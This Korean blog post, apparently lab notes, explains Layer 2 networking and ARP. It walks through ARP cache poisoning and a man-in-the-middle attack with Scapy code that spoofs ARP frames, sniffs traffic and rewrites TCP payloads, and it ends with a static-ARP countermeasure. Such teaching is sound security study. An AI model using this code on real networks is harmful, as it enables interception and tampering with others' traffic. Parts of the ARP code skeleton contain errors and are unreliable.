Network Security - Layer 2 & Attacks

조성열·2025년 7월 16일

Network Security

목록 보기
6/10
post-thumbnail
이번 포스트에서는 Network layer 2에 대한 내용과 L2 관련 Attack에 대해 작성 해보겠습니다.

Layer 2

Layer 2는 Data Link 계층으로 물리계층 위에 존재하여 동일한 네트워크 내 장치간 데이터 전송을 담당합니다.
주로 MAC 주소를 기반으로 동작하며, 네트워크 성능 향상을 위한 VLAN 기능을 수행합니다.


1. Physical & Virtual NIC


Physical, Virtual NIC의 동작 방식을 비교하는 그림입니다.
Physical NIC은 Network와 Kernel space 사이에서 데이터 송수신을 합니다.
loopback은 말 그대로 되돌아가는건데 Physical NIC없이 자기 자신에게만 packet을 전달합니다.
tun/tap interface는 Kernel과 User-level program 사이 Virtual NIC을 제공합니다.


2. Ethernet Frame & MAC Header


MAC Header(Ethernet Header)의 크기는 14byte입니다. dst(도착지), src(출발지) MAC 주소가 각각 6byte, Ether Type이 2byte로 구성됩니다.

VM에 ifconfig 명령으로 network 정보를 보면 HWaddr이라고 되어 있는 부분에서 MAC주소를 확인할 수 있습니다. MAC주소는 앞 3byte가 제조사 고유번호이고, 뒤 3byte가 NIC 고유주소입니다.

Promiscuous Mode

원래 자신의 MAC 주소로 오는 Packet만 수신할 수 있습니다.
Promiscuous mode를 켜면 다른 주소로 향하는 packet도 확인 가능합니다.
즉, Network interface가 Network를 통해 전달되는 모든 Packet을 수신할 수 있습니다.

MAC Address Randomization and Privacy

Physical MAC 주소 위 Virtual MAC 주소를 덮어씌워 보안을 강화합니다.
이 과정을 거치면 MAC 주소가 고유하지 않을 수 있지만, MAC 주소 확인은 Layer2 장치인 Switch에서만 확인하기 때문에, Layer 3 즉, 상위 Layer에서 Unique 할 필요가 없습니다.


3. ARP Protocol(Address Resolution Protocol)

IP주소를 이용해서 MAC 주소를 알아내는 방법입니다.
Layer3에서 packet이 통과해도, MAC 주소를 모르면 Layer2 NIC에서 Deny 당할 수 있습니다.

RARP(Reverse ARP)

MAC 주소를 이용하여 IP 주소를 알아내는 방식입니다.
현재는 DHCP로 대체 됐습니다.

ARP Message Format은 다음과 같습니다.
보내는 장치의 MAC주소와 IP주소, Target MAC 주소와 IP주소로 구성하여 보냅니다.

ARP Request와 Reqly과정은 위 사진과 같습니다.
해당 예시에서 10.9.0.5가 10.9.0.7의 MAC 주소를 얻기 위해 ARP Message를 Broadcast 합니다.
해당 ip(10.9.0.7)가 10.9.0.5에게 ARP Reply를 보냅니다.
Broadcast 할 때 ARP message의 Target MAC 주소는 FF:FF:FF:FF로 채웁니다.

ARP Cache

ARP Request의 중복 방지를 위해 필요합니다.
MAC address는 변하지 않는 고유값이지만, IP는 변동됩니다. 이 점을 악용하여 ARP cache table을 공격해서 해당 IP와 MAC 주소의 unmatching을 유발할 수 있습니다. 이러한 공격을 ARP Cache Poisoning Attack이라고 합니다.


4. ARP Cache Poisoning Attack

ARP Cache Posioning Attack은 ARP message를 가로채 Attacker가 가짜 ARP 응답을 보내 Victim의 ARP 캐시를 조작함으로써 트래픽을 자신에게 우회시키거나 차단하는 공격입니다.

target_IP = "10.9.0.5"
target_MAC = "02:42:0a:09:00:05"

# Attacker IP, MAC Address
fake_IP = "10.9.0.1"
fake_MAC = "aa:bb:cc:dd:ee:ff"

# Construct the Ether header
ether = Ether()

# Broadcast
ether.dst = FF:FF:FF:FF:FF:FF
ether.src = aabbccddeeff

# Construct the ARP packet
arp = ARP()

arp.hwsrc = aabbccddeeff
arp.psrc = 10.9.0.1

arp.hwdst = 02420a090005
arp.pdst = 000000000000

arp.op = 1

frame = ether/arp
sendp(frame)

ARP message를 spoofing 하기 위한 code 스켈레톤입니다.
이 코드 시나리오에서 victim은 10.9.0.5, attacker는 10.9.0.1입니다. 목적은 MAC주소 aa:bb:cc:dd:ee:ff에 10.9.0.1 Attacker의 IP주소를 mapping 시키는 것입니다.


5. MITM(Man In The Middle Attack)

MITM(중간자 공격)은 두 대상의 통신을 가로채는 공격 기법 중 하나입니다.

Client가 Server로 packet을 보낼 때 이를 Attacker가 가로채 원본 Packet을 위조한 후 위조한 Packet을 Server로 보내는 식으로 동작합니다.
MITM 공격은 ARP Cache Poisoning Attack이 선행 되어야 합니다. A의 ARP Cache를 감염시켜 B의 IP를 Attacker의 MAC주소로 mapping 시키고, B의 ARP Cache를 감염시켜 A의 IP를 Attacker의 MAC 주소로 mapping 시켜야 합니다.

위 사진은 ARP Cache Poisoning Attack을 수행한 결과를 나타내고 있습니다.
10.9.0.5를 client, 10.9.0.6을 server로 가정하고, 각각의 ARP Cache table이 Poisoning 되어 Attacker의 MAC 주소로 mapping 된 것을 확인할 수 있습니다.

IP Forwarding

MITM으로 중간자 역할을 하면서 원래 통신이 끊기지 않도록 하려면, Attacker에서
IP 포워딩(ip forwarding) 기능을 켜야 합니다.
ARP Poisoning으로 피해자 A → B 간 Packet이 공격자 머신으로 오게 되면, 이 Packet을 B로 재전달해 주지 않으면 통신이 단절됩니다.
IP Forwarding을 켜야 리눅스 커널이 이 패킷을 받아 목적지로 자동으로 Forwarding 해 줍니다.
만약, 별도 직접 작성 된 프로그램을 통해 공격을 수행하고 싶다면, IP Forwarding 기능을 끄고 진행하면 됩니다.

명령어는 다음과 같습니다.
sysctl net.ipv4.ip_forward=1 ip forwarding 기능이 켜졌다는 것입니다.
sysctl net.ipv4.ip_forward=0 ip forwarding 기능이 꺼졌다는 것입니다.

MITM 공격 순서는 다음과 같습니다:
1. IP Forwarding 기능 off
우리는 직접 code를 작성하여 진행할 예정입니다.

  1. filter 설정
MAC_A = "02:42:0a:09:00:05"
MAC_B = "02:42:0a:09:00:06"

MITM_filter = 'tcp and (ether src ' + MAC_A + ' or ' + \
     'ether dst ' + MAC_B + ')'

pkt = sniff(iface='eth0', filter=MITM_filter, prn=spoof_pkt)

MAC주소를 이용하여 filter를 구성 해야합니다.
IP Forwarding 기능을 껐기 때문에 Layer3로 전달되지 않고 Drop됩니다.

  1. Launch Attack
def spoof_pkt(pkt):
    # A → B 방향
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # IP 헤더만 복제해 새 패킷 생성
        newpkt = IP(bytes(pkt[IP]))
        # 체크섬/페이로드 삭제
        del newpkt.chksum
        del newpkt[TCP].payload
        del newpkt[TCP].chksum

        if pkt[TCP].payload:
            # 페이로드가 있으면 텍스트 변조
            data = pkt[TCP].payload.load
            # 영숫자 문자를 모두 'A'로 치환
            newdata = re.sub(r'[0-9a-zA-Z]', 'A', data.decode())
            send(newpkt/newdata)
        else:
            # 페이로드 없으면 그대로 전달
            send(newpkt)

    # B → A 방향
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del newpkt.chksum
        del newpkt[TCP].chksum
        send(newpkt)

위 코드를 보면 client -> server, server -> client 두 경우로 분기처리를 진행하였고, 원본 packet의 체크섬은 재계산 해야하고, payload는 삭제하여 Attacker가 원하는 대로 packet을 수정하여 전송하고 있습니다.


6. Countermeasure

MITM 공격은 ARP Cache Poisoning Attack이 선행 되어야 하는 공격입니다.
따라서, 해당 공격을 막으려면 ARP Cache Table을 보호 해야합니다.
흔한 공격 방식이 gateway로 속여 cache table을 수정하는데, cache table에 기존에 사용하던 gateway 주소를 고정(-s) 옵션을 주면 Cache Poisoning Attack이 불가능 해지면서 MITM 공격도 불가능 해진다고 합니다.


지금까지 Layer2와 관련 Attack에 대해 알아봤습니다. 다음 포스트에서는 Layer 3와 관련 Attack에 대해 알아보도록 하겠습니다.

0개의 댓글